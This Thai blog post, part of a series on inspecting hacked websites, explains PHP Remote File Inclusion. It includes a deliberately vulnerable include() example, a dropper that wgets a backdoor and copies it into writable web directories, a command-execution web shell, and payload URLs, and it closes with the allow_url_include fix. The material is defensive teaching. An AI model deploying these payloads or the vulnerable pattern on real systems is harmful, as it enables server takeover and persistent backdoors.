วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

โปรดพิจารณาตัวอย่างต่อไปนี้

ไฟล์แรก form.html มีรายละเอียดดังนี้

<form method="get" action="action.php">
   <select name="COLOR">
      <option value="red.inc.php">red</option>
      <option value="blue.inc.php">blue</option>
   </select>
   <input type="submit">
</form>

ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

<?php
   if (isset( $_GET['COLOR'] ) ){
      include( $_GET['COLOR'] );
   }
?>

โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

http://localhost/rfi/action.php?COLOR=red.inc.php

แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

<?php
$output=shell_exec("
    wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
    find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
    find /var/www -name 'rfi.php'
");
echo nl2br($output);
?>

ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

<?php
$c = $_GET['c'];
$output = shell_exec("$c");
echo "<pre>" . nl2br($output) . "</pre>";
?>

ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
จากนั้น ก็เรียก

http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

ผลที่ได้คือ

rfi01

เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

http://localhost/ccpr/images/stories/rfi.php?c=ls -la

ผลที่ได้คือ

rfi02

หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

http://localhost/ccpr/images/stories/miya187.php

ผลที่ได้คือ

rfi03

ซึ่ง อันตรายอย่างยิ่ง

วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

allow_url_include=Off

ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

ขอให้โชคดี

 Reference

[1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>

Comments are closed.